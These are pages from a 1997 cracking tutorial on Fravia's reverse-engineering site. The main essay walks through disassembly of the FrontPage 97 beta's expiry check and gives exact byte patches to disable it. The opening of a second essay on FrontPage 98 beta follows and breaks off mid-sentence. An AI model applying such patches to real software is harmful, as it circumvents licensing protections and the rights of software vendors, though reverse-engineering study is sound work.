purchase [this is the "magic" word!] a copy of Microsoft FrontPage 97 or ..." etc. Ok, before we all go and buy it 8-), let's see
how we can get a little more along with it...

Hands on

At this point you need to look for the two files FPEXPLOR.EXE and FPEDITOR.EXE. You will find them in the bin directory
under the FrontPage main folder. Two EXEs, same protection scheme: "cinderella" like. For this reason in this essay we will
concentrate on FPEXPLOR.EXE and leave FPEDITOR.EXE as an exercise. Ok, let's go! First of all we will take a look at the
"dead" listing (WDasm 8.9 will do). Load it in your favorite text editor and search for the word "expired" (from the nasty
dialog): you'll land straight into the following piece of code:
__________________________________________________________________________

* Reference To: MFC40.MFC40:NoName0221, Ord:01E6h

http://www.instinct.org/fravia/vicever2.htm (1 of 14) [2/7/2001 3:22:58 PM]


vicever2

|
:00455CD8 E83D110200 Call 00476E1A
:00455CDD C645FC09 mov [ebp-04], 09
:00455CE1 8D4DEC lea ecx, dword ptr [ebp-14]

* Reference To: MFC40.MFC40:NoName0221, Ord:01E6h


|
:00455CE4 E831110200 Call 00476E1A

* Possible StringData Ref from Data Obj ->"Microsoft FrontPage 97"


|
:00455CE9 68789B4900 push 00499B78
:00455CEE 8D45CC lea eax, dword ptr [ebp-34]
:00455CF1 C645FC0A mov [ebp-04], 0A

* Possible Reference to String Resource ID=02102: "Your copy of the %1 beta has
expired."
|
:00455CF5 6836080000 push 00000836
:00455CFA 50 push eax

* Reference To: MFC40.MFC40:NoName0240, Ord:03F7h


|
:00455CFB E88C110200 Call 00476E8C

* Possible StringData Ref from Data Obj ->"http://www.microsoft.com/frontpage"


|
:00455D00 68549B4900 push 00499B54
:00455D05 8D45EC lea eax, dword ptr [ebp-14]

* Possible StringData Ref from Data Obj ->"Microsoft FrontPage 97"


|
:00455D08 68789B4900 push 00499B78

* Possible Reference to String Resource ID=02103: "Please visit your local


reseller to purchase a copy of %1 or"
|
:00455D0D 6837080000 push 00000837
:00455D12 50 push eax

* Reference To: MFC40.MFC40:NoName0452, Ord:03F8h


|
:00455D13 E86C160200 Call 00477384

* Possible StringData Ref from Data Obj ->" "


|
:00455D18 68E4364900 push 004936E4
:00455D1D 8D4DCC lea ecx, dword ptr [ebp-34]

* Reference To: MFC40.MFC40:NoName0229, Ord:0344h


|
:00455D20 E825110200 Call 00476E4A
:00455D25 8D45EC lea eax, dword ptr [ebp-14]
:00455D28 8D4DCC lea ecx, dword ptr [ebp-34]
:00455D2B 50 push eax

http://www.instinct.org/fravia/vicever2.htm (2 of 14) [2/7/2001 3:22:58 PM]


vicever2

* Reference To: MFC40.MFC40:NoName0233, Ord:0342h


|
:00455D2C E831110200 Call 00476E62
:00455D31 85FF test edi, edi
:00455D33 7514 jne 00455D49
:00455D35 6A01 push 00000001
:00455D37 8B4DF0 mov ecx, dword ptr [ebp-10]

* Possible StringData Ref from Data Obj ->"Symbols6"


|
:00455D3A 689C9B4900 push 00499B9C

* Possible StringData Ref from Data Obj ->"Settings"


|
:00455D3F 68909B4900 push 00499B90

* Reference To: MFC40.MFC40:NoName0156, Ord:1629h


|
:00455D44 E8771C0200 Call 004779C0

* Referenced by a (U)nconditional or (C)onditional Jump at Address:


|:00455D33(C)
|
:00455D49 6A00 push 00000000
:00455D4B 8B45CC mov eax, dword ptr [ebp-34]
:00455D4E 6A00 push 00000000
:00455D50 50 push eax

* Reference To: MFC40.MFC40:NoName0239, Ord:0425h


|
:00455D51 E830110200 Call 00476E86 <---
:00455D56 C645FC09 mov [ebp-04], 09
:00455D5A E817000000 call 00455D76
:00455D5F C645FC01 mov [ebp-04], 01
:00455D63 E816000000 call 00455D7E
:00455D68 C645FC00 mov [ebp-04], 00
:00455D6C E849000000 call 00455DBA
:00455D71 E9C5FAFFFF jmp 0045583B

__________________________________________________________________________

The red <--- shows a call to a MFC40.DLL function. What is it? We will come back to it after a little theory...

Understanding MFC

For a good comprehension of this section you need some knowledge of object oriented programming and of C++ in particular.
If you don't have such a knowledge you can jump directly to the next section (but you should seriously think of learning
something about these topics).

Nowadays there are many tools around that let you write a Windows application on the fly (like VB), but real programmers
always use C language. As you probably know, Windows has kept growing and so this means dealing with hundreds and
hundreds of API functions! Since this would be a challenging task even for the most experienced programmers, often the
developers prefer using what is called a "framework" (like MFC [Micro$oft Foundation Classes] by Micro$oft or OWL

http://www.instinct.org/fravia/vicever2.htm (3 of 14) [2/7/2001 3:22:58 PM]


vicever2

[Object Windows Library] by Borland). It consists of many structured C++ classes that encapsulate almost all the APIs. They
also offer a "ready to run" application with just few calls: what the programmer has to do is to "fill-up" the blanks and give
his/her application a particular "look and feel" or behavior.

Though from a developer point of view using frameworks makes things easier, from our point of view this means we have one
more shell around our beloved API calls. So, sometimes, we will have to break the shell and go into the framework function
just to see what they do and which original WIN32 API they call. Usually a framework function has the same name of the
corresponding API it encapsulates but takes less parameters. Often the missing parameter is the first one of the corresponding
API. Why? Remember that the framework is nothing but an hierarchy of C++ classes. For example, you can have a class
corresponding to a physical window or a class corresponding to the current display context (DC). When the class is initialized
it is "associated" with a physical window or a DC, meaning that now the class "is" the window or "is" the DC. Being like this,
the class itself takes care of "remembering" the window handle or the display context handle and you don't need to pass these
parameters any more to the functions you call (that in fact are method of the class).

Let's make an example with the call to the MessageBox function. Within the standard Win32 API the function has the
following syntax:
int MessageBox( HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption,UINT uType );
While inside MFC it has the following syntax (it's a member of the CWnd class, a class that encapsulate a generic window):
int MessageBox( LPCTSTR lpszText, LPCTSTR lpszCaption = NULL, UINT nType = MB_OK );
They look pretty similar. In fact, a call the MFC version of MessageBox is resolved inside the framework into a call to WIN32
version of MessageBox. On the other hand they are different: the MFC version lacks of the first parameter, a handle to a
window. This is because being it a method of the CWnd class it already "knows" the handle of the window the class is
associated with. Look at the following scheme:

__________________________________________________________________________

Call to WIN32 MessageBox Call to MFC MessageBox


| |
| |
v |
Display the messsage box Get hWnd of the associated
window from the class data
|
|
Resolve into a call to WIN32 MessageBox
|
|
v
Display the messsage box

__________________________________________________________________________

As you can see, especially when dealing with Micro$oft Windows, asm is not "all you have to know" for an effective
cracking/reverse-engineering.

Back to work

After the excursus on MFC let's go back to work. We were dealing with that call to an "un-named" MFC40 function. How can
we know what it does and what happens inside it? The easy way is to use the "live" approach and trace the application with
Sice (remember to load MFC40.DLL as an export before running it). Put a bpx on MessageBoxExA and run FrontPage. Sice
will pop up inside the MessageBoxExA call. Now step out from the API routines until you get back to FPEXPLOR.EXE. You
should land exactly on the call above. As you can see, it was a call to a MessageBox like function in MFC. Another way to
reach the same conclusion is to use a little zen.

http://www.instinct.org/fravia/vicever2.htm (4 of 14) [2/7/2001 3:22:58 PM]


vicever2

Look at the code above: you see that many different strings are being loaded. Some of them contains what looks like a
parameter (%1). We know from the nasty dialog the program pops-up that the string "Microsoft FrontPage 97" is substituted to
these parameters so to build the final string that is displayed. So most of the calls we see in the code above have to be "string
formatting" calls. Well, if there is a call to a message box function it has to come after this calls because it needs an already
formatted string. So far so good. What else? Well, having learnt something about MFC (refer to the section Understanding
MFC) we know that the message box displaying function has to take 3 parameters. Ok, let's summarize what we know up to
now:

we have to look somewhere after all the calls to the string formatting functions

we have to look for a function that takes 3 parameter

Is there something more we know? The answer is... yes, of course! Look carefully at the nasty dialog. What can you notice? I
give you hint: just looking at the dialog and considering what you already know it's possible to determine the values of at least
one more parameter of the call to the message box function (we already know what the displayed text should be)... you have 5
minutes to think about it, then read on.

Use your brain not your fingers!

Found anything? I think you did but if you didn't don't worry, you'll do better the next time.

Here is the answer: since the dialog shows just the OK button the last parameter, the one that controls the style of the dialog,
has to be MB_OK that is 0. Pretty easy. Ok, so we know that we have to look for a function that takes three parameters and we
know the value of two out of three parameters. Look at the code above. Got it? Well, it's exactly the call signed with the red
<---. That is the call the the MessageBox function, right?

No, WRONG!

Ok, don't trash this essay, let me explain! Cracking is like doing research: you proceed according to some hypothesis you
made. But, as soon as your findings do not confirm these assumptions you HAVE to change them. It sounds like a defeat but
sometimes you have to step back. This is the way we learn: by trials and errors (Konrad Lorenz wrote beautiful pages about
this topic).

So, what's wrong with the function we have found? In fact nothing but is just a matter of calling things with their own name.
Look at the parameters description of CWnd::MessageBox (from MFC documentation):
__________________________________________________________________________
Parameters
lpszText Points to a CString object or null-terminated string
containing the message to be displayed.
lpszCaption Points to a CString object or null-terminated string to be
used for the message-box caption.
If lpszCaption is NULL, the default caption Error is used.
nType Specifies the contents and behavior of the message box.
__________________________________________________________________________

According to the calling stack sequence the function we have recognized should get its the parameters like this:

lpszText = "Your version of ..." etc.


lpszCaption = NULL
nType = 0

http://www.instinct.org/fravia/vicever2.htm (5 of 14) [2/7/2001 3:22:58 PM]


vicever2

So, according to the documentation the dialog caption should have been "Error" since lpszCaption = NULL. In fact the caption
of the nasty dialog shows the application name so it can't be that function. What's wrong? Look back at the nasty dialog, what
is the caption? It shows the application name... here is the hint: the application name! We have to look for a MFC function that
displays a dialog box but with a different behavior than CWnd::MessageBox.

Probably the ones among you that know something about MFC programming have already recognized it. Look at the
following function definition (from MFC documentation):

_____________________________________________________________________

int AfxMessageBox( LPCTSTR lpszText, UINT nType = MB_OK, UINT nIDHelp = 0 );

int AFXAPI AfxMessageBox( UINT nIDPrompt, UINT nType = MB_OK, UINT nIDHelp =
(UINT) 1 );

...

The functions AfxFormatString1 and AfxFormatString2 can


be useful in formatting text that appears in a message box.

Parameters
lpszText Points to a CString object or null-terminated string containing
the message to be displayed in the message box.
nType The style of the message box. Apply any of the message-box styles
to the box.
nIDHelp The Help-context ID for the message; 0 indicates no Help context.
nIDPrompt A unique ID used to reference a string in the string table.

Remarks
Displays a message box on the screen...
__________________________________________________________________________
The function we are interested in is the first one of the two. This is a widely used function in MFC programming because it
displays an "application" message box. The message box has the name of the application as caption and usually behaves as a
modal dialog. This is exactly what our nasty dialog does. Now the two NULL parameters make sense: OK button and no help
available (as in fact is). But there is more. Look at the sentence I have colored in red. What are these two text formatting
functions? Let's take a look (from MFC documentation):

__________________________________________________________________________

void AfxFormatString1( CString& rString, UINT nIDS, LPCTSTR lpsz1 );

Parameters
rString A reference to a CString object that will contain the resultant
string after the substitution is performed.
nIDS The resource ID of the template string on which the substitution
will be performed.
lpsz1 A string that will replace the format characters %1 in the
template string.

Remarks
Loads the specified string resource and substitutes the characters %1 for
the string pointed to by lpsz1. The newly formed string is stored in rString.
For example, if the string in the string table is File %1 not found, and
lpsz1 is equal to C:\MYFILE.TXT, then rString will contain the string

http://www.instinct.org/fravia/vicever2.htm (6 of 14) [2/7/2001 3:22:58 PM]


vicever2

File C:\MYFILE.TXT not found. This function is useful for formatting strings
sent to message boxes and other windows.
If the format characters %1 appear in the string more than once, multiple
substitutions will be made.
__________________________________________________________________________
Bingo! Doesn't it look familiar? That %1 in particular, acting as a parameter... where did we meet it before? It's right there in
the code!

Ok, we have all the pieces now. Let's put them together. So, the message box displaying function is in fact AfxMessageBox
(first version) and all the previous calls are should refer to AfxFormatString1 or AfxFormatString2 (we could understand
exactly which one of the two just looking at the passed parameters but we don't care here). Very good!

A good question!

You are probably wondering: so what? This long talk for such a little finding? And how can this help in the "cinderella"
protection cracking? Well, the answer is: it doesn't help directly. Or at least it helps just a little. But I think that if you have
read the part above carefully you now know a lot about MFC applications. And, believe me, this information will be really
useful in your future crackings, don't you think so? One thing is dealing with calls of functions you know the name of (and on
which you have plenty of documentation). Another thing is dealing with completely anonymous functions. look back at what
we did: we dealt with completely anonymous functions and found a lot about them! Was it worth it? The answer is up to you.

Back to the main point

Ok, now is time to go back to our main point: defeating the "cinderella" protection. What we usually do with this kind of
protection once we have found the point where the nasty dialog is displayed? We look at the code that precedes that massage
box displaying, searching for a time comparison. If we are lucky we will find a GetLocalTime call whose return value (the
current date and time)is compared to another one (the installation date) read, for example, from the Registry or from an hidden
file. The trick is too look for something "date related". Here is the only "date related" function we see in the code that precedes
the previous one:

__________________________________________________________________________

* Reference To: MFC40.MFC40:NoName0401, Ord:09FDh


|
:00455B63 E8EA160200 Call 00477252
:00455B68 50 push eax
:00455B69 8D4DD4 lea ecx, dword ptr [ebp-2C]
:00455B6C 56 push esi
:00455B6D 51 push ecx
:00455B6E 6A02 push 00000002

* Possible Reference to Dialog: DialogID_009F, CONTROL_ID:0400, ""


|
:00455B70 6800040000 push 00000400

* Reference To: KERNEL32.GetDateFormatA, Ord:00C8h


|
:00455B75 FF15B4D54900 Call dword ptr [0049D5B4]
:00455B7B 6AFF push FFFFFFFF
:00455B7D 8D4DCC lea ecx, dword ptr [ebp-34]

* Reference To: MFC40.MFC40:NoName0398, Ord:1343h


|
:00455B80 E8BB160200 Call 00477240

http://www.instinct.org/fravia/vicever2.htm (7 of 14) [2/7/2001 3:22:58 PM]


vicever2

:00455B85 8D4DE4 lea ecx, dword ptr [ebp-1C]

* Reference To: MFC40.MFC40:NoName0221, Ord:01E6h


|
:00455B88 E88D120200 Call 00476E1A
:00455B8D C645FC06 mov [ebp-04], 06
:00455B91 8B45CC mov eax, dword ptr [ebp-34]
:00455B94 8D4DE4 lea ecx, dword ptr [ebp-1C]
:00455B97 50 push eax
__________________________________________________________________________

Looks like a good starting point. Let's look to its definition (from WIN32 API reference):
__________________________________________________________________________

The GetDateFormat function formats a date as a date string for a specified


locale. The function formats either a specified date or the local system
date.

int GetDateFormat(
LCID Locale, // locale for which date is to be formatted
DWORD dwFlags, // flags specifying function options
CONST SYSTEMTIME *lpDate, // date to be formatted
LPCTSTR lpFormat, // date format string
LPTSTR lpDateStr, // buffer for storing formatted string
int cchDate // size of buffer
);
__________________________________________________________________________
There it is! If it takes a date (pointer to a SYSTEMTIME structure) as a parameter this means that somewhere before this call
the date is read. But where? The date is the 3rd parameter and must be a pointer (the address of a memory location).
Remember that the parameters are pushed on the stack in reverse order. Now from the call to GetDateFormat count three
pushes up. We find push ecx. Two rows before there is a lea ecx, dword ptr [ebp-2C]. So the date is stored in [ebp-2C]. Good
to know. Keep going back along the code an look for the any occurrence of [ebp-2C]. You will find the following code
snippet:
__________________________________________________________________________

* Reference To: MFC40.MFC40:NoName0154, Ord:0BFBh


|
:00455A9A E82D1F0200 Call 004779CC
:00455A9F 8BF8 mov edi, eax
:00455AA1 83EC04 sub esp, 00000004
:00455AA4 8D45E8 lea eax, dword ptr [ebp-18]
:00455AA7 8965CC mov dword ptr [ebp-34], esp
:00455AAA 50 push eax
:00455AAB 8B4DCC mov ecx, dword ptr [ebp-34]
:00455AAE E82D030000 call 00455DE0
:00455AB3 8D8D64FFFFFF lea ecx, dword ptr [ebp+FFFFFF64]
:00455AB9 E832030000 call 00455DF0
:00455ABE 85C0 test eax, eax
:00455AC0 0F850F020000 jne 00455CD5
:00455AC6 85FF test edi, edi
:00455AC8 0F8507020000 jne 00455CD5
:00455ACE 83EC04 sub esp, 00000004
:00455AD1 8D45D0 lea eax, dword ptr [ebp-30]
:00455AD4 8965CC mov dword ptr [ebp-34], esp

http://www.instinct.org/fravia/vicever2.htm (8 of 14) [2/7/2001 3:22:58 PM]


vicever2

:00455AD7 50 push eax


:00455AD8 8B4DCC mov ecx, dword ptr [ebp-34]
:00455ADB E800030000 call 00455DE0
:00455AE0 8D8D64FFFFFF lea ecx, dword ptr [ebp+FFFFFF64]
:00455AE6 E805030000 call 00455DF0
:00455AEB 85C0 test eax, eax
:00455AED 0F84D1000000 je 00455BC4
:00455AF3 668975D4 mov word ptr [ebp-2C], si
:00455AF7 668975D6 mov word ptr [ebp-2A], si
:00455AFB 668975D8 mov word ptr [ebp-28], si
:00455AFF 668975DA mov word ptr [ebp-26], si
:00455B03 56 push esi
:00455B04 668975DC mov word ptr [ebp-24], si
:00455B08 8D4DE8 lea ecx, dword ptr [ebp-18]
:00455B0B 668975DE mov word ptr [ebp-22], si
:00455B0F 668975E0 mov word ptr [ebp-20], si
:00455B13 668975E2 mov word ptr [ebp-1E], si

* Reference To: MFC40.MFC40:NoName0155, Ord:0B59h


|
:00455B17 E8AA1E0200 Call 004779C6
:00455B1C 8B4014 mov eax, dword ptr [eax+14]
:00455B1F 56 push esi
:00455B20 66056C07 add ax, 076C
:00455B24 8D4DE8 lea ecx, dword ptr [ebp-18]
:00455B27 668945D4 mov word ptr [ebp-2C], ax

* Reference To: MFC40.MFC40:NoName0155, Ord:0B59h


|
:00455B2B E8961E0200 Call 004779C6
:00455B30 8B4010 mov eax, dword ptr [eax+10]
:00455B33 56 push esi
:00455B34 6640 inc ax
:00455B36 8D4DE8 lea ecx, dword ptr [ebp-18]
:00455B39 668945D6 mov word ptr [ebp-2A], ax

... there are some more lines in between ...

* Reference To: MFC40.MFC40:NoName0221, Ord:01E6h


|
:00455B88 E88D120200 Call 00476E1A
:00455B8D C645FC06 mov [ebp-04], 06
:00455B91 8B45CC mov eax, dword ptr [ebp-34]
:00455B94 8D4DE4 lea ecx, dword ptr [ebp-1C]
:00455B97 50 push eax

* Possible StringData Ref from Data Obj ->"Microsoft FrontPage 97"


|
:00455B98 68789B4900 push 00499B78

* Possible Reference to String Resource ID=02104: "This beta copy of %1 will


expire on %2"
|
:00455B9D 6838080000 push 00000838
:00455BA2 51 push ecx

http://www.instinct.org/fravia/vicever2.htm (9 of 14) [2/7/2001 3:22:58 PM]


vicever2

* Reference To: MFC40.MFC40:NoName0452, Ord:03F8h


|
:00455BA3 E8DC170200 Call 00477384
:00455BA8 56 push esi
:00455BA9 8B4DE4 mov ecx, dword ptr [ebp-1C]
:00455BAC 56 push esi
:00455BAD 51 push ecx
__________________________________________________________________________
Look at the first occurrence from the bottom. The value in [eax+14] in moved into eax. Then the value 076C (1900 decimal)
it's added to it and everything is stored back to [ebp-2C]. So it's calculating the current year on the basis of a function that
returns it on as a difference from 1900. The only function I know that works like this is localtime but this function needs as
input a value returned from a call to the time function.

Now look at the second occurrence of [ebp-2C]. All those mov word ptr [ebp-xx] look like a structure initialization to me. If
the SYSTEMTIME structure starts from ebp-2C (remember that local variables "goes" back in memory when referenced to
through ebp) then such a code would make sense only if si = 0. So this is not the structure where the current time is stored
when read but is just a working structure. In fact this code leads straight to the one that shows a dialog saying "This beta copy
of Microsoft FrontPage 97 will expire on [exp. date]". Look at the code above. Can you see it? Well, at this point we are lost.
Where is our time?

As we saw for the first occurrence of [ebp-2C] the expiration year is copied into [ebp-2C] (after being added 1900) from a
location that is eax related ([eax+14]). So let's look for the eax related instructions before that point. We find an interesting test
eax, eax (in green) instruction followed by a conditional jump je 00455BC4. Let's see where this jump leads:
__________________________________________________________________________

* Referenced by a (U)nconditional or (C)onditional Jump at Address:


|:00455AED(C)
|
:00455BC4 8D8D60FEFFFF lea ecx, dword ptr [ebp+FFFFFE60]

* Reference To: fp20utl.fp20utl:NoName0013, Ord:0036h


|
:00455BCA FF1530E44900 Call dword ptr [0049E430]
:00455BD0 8B75F0 mov esi, dword ptr [ebp-10]
:00455BD3 8B45EC mov eax, dword ptr [ebp-14]
:00455BD6 C645FC07 mov [ebp-04], 07
:00455BDA 81C630010000 add esi, 00000130
:00455BE0 8B4820 mov ecx, dword ptr [eax+20]
:00455BE3 51 push ecx
:00455BE4 8D8D60FEFFFF lea ecx, dword ptr [ebp+FFFFFE60]

* Reference To: fp20utl.fp20utl:NoName0014, Ord:049Bh


|
:00455BEA FF1534E44900 Call dword ptr [0049E434]
:00455BF0 50 push eax
:00455BF1 8BCE mov ecx, esi

* Reference To: MFC40.MFC40:NoName0220, Ord:02FAh


|
:00455BF3 E81C120200 Call 00476E14
:00455BF8 8B06 mov eax, dword ptr [esi]
:00455BFA 8378F800 cmp dword ptr [eax-08], 00000000
:00455BFE 7534 jne 00455C34

http://www.instinct.org/fravia/vicever2.htm (10 of 14) [2/7/2001 3:22:58 PM]


vicever2

:00455C00 B801000000 mov eax, 00000001


:00455C05 8B4DF0 mov ecx, dword ptr [ebp-10]
:00455C08 8845FC mov byte ptr [ebp-04], al
:00455C0B 898134010000 mov dword ptr [ecx+00000134], eax
:00455C11 E8B3000000 call 00455CC9
:00455C16 C645FC00 mov [ebp-04], 00
:00455C1A E89B010000 call 00455DBA
:00455C1F E917FCFFFF jmp 0045583B

* Referenced by a CALL at Address:


|:00455BB6
|
:00455C24 8D4DE4 lea ecx, dword ptr [ebp-1C]

* Reference To: MFC40.MFC40:NoName0217, Ord:02C2h


|
:00455C27 E9D6110200 Jmp 00476E02

* Referenced by a CALL at Address:


|:00455BBF
|
:00455C2C 8D4DCC lea ecx, dword ptr [ebp-34]

* Reference To: MFC40.MFC40:NoName0217, Ord:02C2h


|
:00455C2F E9CE110200 Jmp 00476E02
_________________________________________________________________________
As you can see, it leads to a section of code that does something and then jumps away from all the nasty dialog display etc. So
we probably want that jump to occur. But wait a moment. If that jump is executed there is no nasty dialog at all but if it's not
executed we should get a dialog saying that our copy of FrontPage will expire on such and such date. Anyway what we get is a
nasty dialog saying that our copy has already expired. This portion of code has never being executed because of a previous
jump that leads to the "your copy has expired" dialog. This condition should be date related too according to a scheme like
this:

Get Current Date


Get Expiring Date (fixed)

IF Current Date > Expiring Date? THEN


MessageBox( "Your copy has expired!" );
ELSE
MessageBox( "Your copy will expire on such and such day" );
There should also be some kind of checking for bad lamers taking their clock back. Anyway, let's look for a conditional jump
"date related" that takes us to the "Your copy has expired!" dialog.

Pretty easy job. It's test eax, eax. The conditional jump after it takes straight to the "Your copy has expired" section. There is
another testing after it regarding edi. Can be a test on the "bad lamer" condition? Notice also that both the testing sections are
preceded by a call to them same function with the same parameter passed to it. Let's look at that code again:

__________________________________________________________________________

:00455AA1 83EC04 sub esp, 00000004


:00455AA4 8D45E8 lea eax, dword ptr [ebp-18]
:00455AA7 8965CC mov dword ptr [ebp-34], esp

http://www.instinct.org/fravia/vicever2.htm (11 of 14) [2/7/2001 3:22:58 PM]


vicever2

:00455AAA 50 push eax


:00455AAB 8B4DCC mov ecx, dword ptr [ebp-34]
:00455AAE E82D030000 call 00455DE0
:00455AB3 8D8D64FFFFFF lea ecx, dword ptr [ebp+FFFFFF64]
:00455AB9 E832030000 call 00455DF0
:00455ABE 85C0 test eax, eax
:00455AC0 0F850F020000 jne 00455CD5
:00455AC6 85FF test edi, edi
:00455AC8 0F8507020000 jne 00455CD5

... and after few lines ...

:00455ACE 83EC04 sub esp, 00000004


:00455AD1 8D45D0 lea eax, dword ptr [ebp-30]
:00455AD4 8965CC mov dword ptr [ebp-34], esp
:00455AD7 50 push eax
:00455AD8 8B4DCC mov ecx, dword ptr [ebp-34]
:00455ADB E800030000 call 00455DE0
:00455AE0 8D8D64FFFFFF lea ecx, dword ptr [ebp+FFFFFF64]
:00455AE6 E805030000 call 00455DF0
:00455AEB 85C0 test eax, eax
:00455AED 0F84D1000000 je 00455BC4

__________________________________________________________________________
Same calling sequence, same calling scheme but the pushed parameter eax is different in the two calls. At this point we should
probably take a look at the two called functions:

__________________________________________________________________________

* Referenced by a CALL at Addresses:


|:00455AAE , :00455ADB
|
:00455DE0 8B442404 mov eax, dword ptr [esp+04]
:00455DE4 8B10 mov edx, dword ptr [eax]
:00455DE6 8BC1 mov eax, ecx
:00455DE8 8911 mov dword ptr [ecx], edx
:00455DEA C20400 ret 0004

and

* Referenced by a CALL at Addresses:


|:00455AB9 , :00455AE6
|
:00455DF0 8B442404 mov eax, dword ptr [esp+04]
:00455DF4 3901 cmp dword ptr [ecx], eax
:00455DF6 B801000000 mov eax, 00000001
:00455DFB 7D02 jge 00455DFF
:00455DFD 33C0 xor eax, eax

* Referenced by a (U)nconditional or (C)onditional Jump at Address:


|:00455DFB(C)
|
:00455DFF C20400 ret 0004

http://www.instinct.org/fravia/vicever2.htm (12 of 14) [2/7/2001 3:22:58 PM]


vicever2

__________________________________________________________________________
So the first one is a kind of swapping function. The second one is a kind of boolean comparison function. It compares two
quantities, one passed as a parameter on the stack and the other pointed by ecx and returns 1 if the first one is less than the
second one, otherwise it returns 0. edi, that is tested after eax in the caller function, is not involved here so it must have been
set somewhere before these calls (in fact there is mov edi,eax up there).

Can these test eax, eax and the subsequent conditional calls the instructions that make the "cinderella" protection to snap? If it's
so, let's see how it works: the first conditional jump is executed because we see the "Your copy has expired" dialog, thus eax or
edi have to be zero upon the return from call 00455DF0. Can this mean "Your copy has expired"? There only on way to know
it at this point. We don't want the code to jump to the "Your copy has expired" dialog so we can change the jumping condition
and see what happens.

Patch it!

First of all let's make a backup copy of the exe file (just in case). Then let's run our favorite hex editor and look for:

E832030000 85C0 0F850F020000 85FF 0F8507020000


-- --
\ \
change to 84 (je) change to 84 (je)
and change the two bytes as described. Just to be sure we have also changed the jne that comes after the test edi, edi. Now let's
run it and see what happens.

Once more

We get another nasty dialog, but this time is the one that says "This copy will expire..." Obviously the "cinderella" protection
has snapped again because of the second test eax, eax. This is because the condition was false (eax =/= 0) and thus the
conditional jump je 00455BC4 to the "good boy" part of the code hasn't been executed. So let's patch this too as usual:
reversing the jumping condition. Look for:

E805030000 85C0 0F84D1000000


--
\
change to 85 (jne)
and change the byte as described. Now run the program and...

CONGRATULATIONS!

You cracked it! No more nasty dialogs, no more "cinderella" protection. Well, after all it was just a 3 byte crack... Anyway,
don't forget your homework! [I'll give you one hint: learn from your (very recent) experience...]

Conclusion

We are at the end of this (rather long essay) and we cracked the time protection using our brain and with a little luck too. But
there is one more question? Who cares - you are probably thinking - we cracked it and that's it! Well, just for the sake of
knowledge did you wonder where the call to the "GetLocalTime" like function is? Well, it must be somewhere in code that
precedes the test eax, eax but where? The answer is that it hides inside this call:

__________________________________________________________________________

:00455A54 8D8564FFFFFF lea eax, dword ptr [ebp+FFFFFF64]


:00455A5A 50 push eax

http://www.instinct.org/fravia/vicever2.htm (13 of 14) [2/7/2001 3:22:58 PM]


vicever2

* Reference To: MFC40.MFC40:NoName0152, Ord:0CFEh


|
:00455A5B E8781F0200 Call 004779D8
:00455A60 6AFF push FFFFFFFF
:00455A62 56 push esi
:00455A63 56 push esi
:00455A64 8D4DD0 lea ecx, dword ptr [ebp-30]
:00455A67 56 push esi
:00455A68 6A01 push 00000001
:00455A6A 6A01 push 00000001
:00455A6C 68CD070000 push 000007CD

__________________________________________________________________________
It's just few line before the test eax, eax and it involves the parameter [ebp+FFFFFF64], the same that you can see in the calls
to the "comparison" function (call 00455DF0). How do I know? Well, if you trace into this call with Sice you will see that
there is a call to the time function (it's part of the Micro$oft Visual C++ run time library). This function, in turn, calls
GetLocalTime. There it is! It's hidden inside a double shell. Now that you know where the call to the "get time" function hides,
you can try to properly decipher the code that follows it. Let me know if you find something interesting!

That's it! I really hope you enjoyed this essay as much as I did writing it (and cracking FrontPage 97 beta). Few final words: I
wish to thank +ORC for his great tutorial and essays, Fravia+ for his great WEB site (and his lessons on searching the net) and
all the +HCUkers who have contributed to +HCU and will keep doing it. Good cracking to everybody!

My "motto" is : Use your brain not your fingers!

ViceVersa+
August, 8th 1997
(c) ViceVersa 1997. All rights reserved

You are deep inside fravia's page of reverse engineering, choose your way out:

homepage links anonymity +ORC students' essays tools cocktails


antismut search_forms mailFraVia
is reverse engineering legal?

http://www.instinct.org/fravia/vicever2.htm (14 of 14) [2/7/2001 3:22:58 PM]


epic2

FrontPage 98 English beta 1 for Windows 95 & NT 4.0


(They are getting tougher)
by Epic Lord

(14 August 1997, slightly edited by Fravia)

Courtesy of Fravia's page of reverse engineering

Well, Epic Lord has worked 'in a hurry', but his crack is nevertheless quite effective and interesting... so Micro$oft is now
writing "scarecrow" phrases like "This copy of Microsoft FrontPage has been modified in a way which is in violation of the
license aggreement"... poor sods! And some antiwinice tricks as well... mmm, we'll have to keep half-awake to drefeat M$
protections in the future :-)

Well, I hope this essay will become my contribution to Project 9,


namely reverse engineering all the Micro$oft products' protection
schemes! I apologize for my English.

The target is "FrontPage 98 - English Beta 1 for Windows 95 & NT 4.0 - US


English Version". A long name. It can be found at Microsoft, located at
http://www.microsoft.com/msdownload/fp98/05000.htm, if you're lucky,
anyway, even if they retire/modify it after the publication of this essay,
too many people will already have downloaded it (and too many magazines
will have already published it) to halt this snowball rolling :-)

BTW, it is approximately 20 MB. Pretty big to download with a 14400


connection, but I wanted to be the first one on the subject :=)

The product is really overbloated; it spans more than 80 folders and 950
files. In the BIN folder alone there are more than 30 files.

Let's begin.

I started the FrontPage Explorer (fpexplor.exe), target starts. Changed my


system time to a couple of years ahead, started again, target did not start.
Started FrontPage editor (fpeditor.exe), target started.
Tried again, it did not.
Well, the various programs under examination are writing something
somewhere (huh? a clever conclusion :=)

I disassembled first of all the target file (fpeditor.exe) and found


nothing. The same happened while I was working on M$ Publisher.
The protection must dwell somewhere outside the main code, it must be
easily editable and must be undercover.
YES! look at the .dll files.

Well there are 22 .dll files in the BIN folder. A couple more are in the
SYSTEM directory.
Lets get tougher :=)
I searched the files to find the word "expired" and couldn't get
anything at all (DUH).

http://www.instinct.org/fravia/epic2.htm (1 of 3) [2/7/2001 3:23:00 PM]


epic2

Multibyte characters !!! Therefore I searched the sequence


"65 00 78 00 70 00 69 00 72 00 65 00"
which is "expired" interpolated with 0h seperators.
I could forget cracking this target... I couldn't find the target itself yet!
The search string is in "fp30cutl.dll"... bingo!

Ok ok. I cheated. I could not feel the multibyte problem at the beginning
so I did start Softice and checked what actually was going on.
This approach let me suspect the file "fp30cutl.dll".
Do what I say, not what I did.
BTW try softice.
You will not find anything. The "Expiry" dialog box will pop and in spite of
all the debugging capability you have, none of the breakpoints will
activate.
Fravia+ is right. They are getting tougher.

Using a debugger will not be enough.


This target calls the .dll, and the .dll calls in turn another one.
"FpEditor.Exe" <- "fp30cutl.dll" <- "mfc42.dll" and so on. For this crack, I used
both the "live" Softice and the "dead listing" approach. I pressed F12 and kept
pressing till the nag screen appeared, and eventually I found the following code
"snippet.class" tppabs="http://fravia.org/snippet.class" in "fp30cutl.dll": :67B497CD
